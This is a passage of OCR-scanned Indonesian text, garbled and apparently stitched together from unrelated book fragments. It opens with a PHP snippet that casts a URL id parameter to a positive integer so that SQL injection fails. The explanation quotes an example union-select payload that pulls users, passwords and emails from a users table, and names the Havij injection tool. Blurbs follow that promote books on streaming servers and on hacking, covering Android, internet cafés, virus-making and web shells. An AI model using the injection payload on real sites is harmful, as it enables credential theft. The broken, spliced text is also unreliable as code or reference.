$id = abs((int) $ GET["id"]1);

/* script agar menampilkan halaman dengan id tertentu*/
?>

Function int di atas berfungsi untuk menghilangkan query yang disisip-
kan pada parameter dalam url/link. Sebagai contoh, misalkan Anda
memiliki  sebuah  string 1d='8 uni on al | sel ect
1, concat (user, 0x3a, pass, 0x3a, emai | ) from users--.

Apabila id ini di-casting ke dalam integer maka akan tetap menghasilkan
1d=8

Sedangkan function abs berfungsi untuk menjaga agar nilai parameter id
bernilai positif. Salah satu tool sql injection yang bernama Havij, tidak

akan mempan jika Anda menggunakan function ini.

E
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dengan NGINX-RTMP

= Jord.an Andrean * Onno W. Purbo
° « Andri Johandri

715051631 - HACKING STREAMING
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membangun server streaming dapat dilakukan secara mudah
dan murah menggunakan sistem operasi Linux
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Peran teknologi semakin lama semakin berkembang pesat dari hari ke harinya. Jika
Anda perhatikan, secara berkala, beberapa programmer hebat membuat aplikasi baru,
membangun jaringan, menciptakan software terbaru hampir setiap hari. Keadaan ini
membuat kita mau-tidak-mau harus memiliki pengetahuan yang tidak sedikit dengan
dunia Internet. Baik itu untuk Software ataupun Hardware.

Namun tahukan Anda, setiap aplikasi atau jaringan mempunyai celah untuk ditembus?
Tidak ada sistem yang aman. Itu adalah semboyan yang ditanamkan untuk para hacker
yang berkecimpung di dunia maya. Beberapa cara dapat dicoba untuk membobol sistem.
Seperti binary pada Android, rooting pada cpanel website atau menanamkan shell
ke dalamnya, menjadi mata-mata pada jaringan orang lain, mengubah sistem dasar
Windows, membuat virus yang bisa merusak sistem sekalipun bisa Anda lakukan.

Melalui buku ini, Anda akan penulis ajak untuk mengetahui bagaimana suatu sistem atau
aplikasi bisa disusupi. Tak hanya itu saja, materi dalam buku ini juga dilengkapi dengan
tips mencegah serangan untuk sebuah website yang akan Anda bangun nantinya.

Pembahasan dalam buku mencakup:
» Hacking Android

* Bobol sistem warnet

» Membuat virus

» Konsep menyusup dalam website

« Teori Hacking Network

* Mencegah Hacking

So, tunggu apa lagi?
Untuk Anda yang ingin mengetahui bagaimana hacker bekerja,
buku ini sangat pas untuk dikoleksi.
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